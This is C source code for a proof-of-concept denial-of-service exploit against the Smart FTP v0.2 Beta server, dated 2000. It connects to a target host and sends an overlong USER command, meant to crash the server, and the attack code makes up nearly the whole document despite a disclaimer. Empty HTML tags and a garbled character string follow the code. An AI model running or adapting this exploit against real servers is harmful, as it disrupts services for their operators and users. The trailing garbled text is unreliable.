/* sftp02b.c - Smart FTP v0.2 Beta DoS (c) Chopsui-cide[MmM] 2000 The Mad Midget Mafia - http://midgets.box.sk/ Disclaimer: this program is proof of concept code, and is not intended to be used maliciously. By using this code, you take all responsibility for any damage incurred by the use of it. usage: sftp02b */ #include #include void fatal_error(char *msg); int connect_sock(int sock, char *host, int port); #define LEN 246 void main(int argc, char *argv[]) { int c, s; char str[LEN + 9]; WSADATA wdata; WORD wvreq; wvreq = MAKEWORD(1, 1); if (WSAStartup(wvreq, &wdata) < 0) fatal_error("Unable to initialise Winsock."); strcpy(str, "USER "); c = 5; do { str[c] = 'x'; c++; } while(c < LEN); str[LEN + 6] = 0x0d; str[LEN + 7] = 0x0a; str[LEN + 8] = 0; c = 0; if (argc < 2) { printf("usage: smartftp \n"); exit(1); } if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) fatal_error("Could not create socket descriptor."); printf("Connecting..."); connect_sock(s, argv[1], atoi(argv[2])); printf("done.\n"); if (send(s, str, strlen(str), 0) == -1) fatal_error("Error sending."); Sleep(6000); // Wait six seconds. closesocket(s); } void fatal_error(char *msg) { printf("%s\n", msg); exit(1); } int connect_sock(int sock, char *host, int port) { struct sockaddr_in addr; struct hostent *he; memset(&addr, '0', sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(host); addr.sin_port = htons(port); if ((he = gethostbyname(host)) != NULL) memcpy((char *)&addr.sin_addr, he->h_addr, he->h_length); else if ((addr.sin_addr.s_addr = inet_addr(host)) == -1) fatal_error("Invalid host."); if (connect(sock, (struct sockaddr_in *)&addr, 16) == -1) fatal_error("Error connecting."); return 0; }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß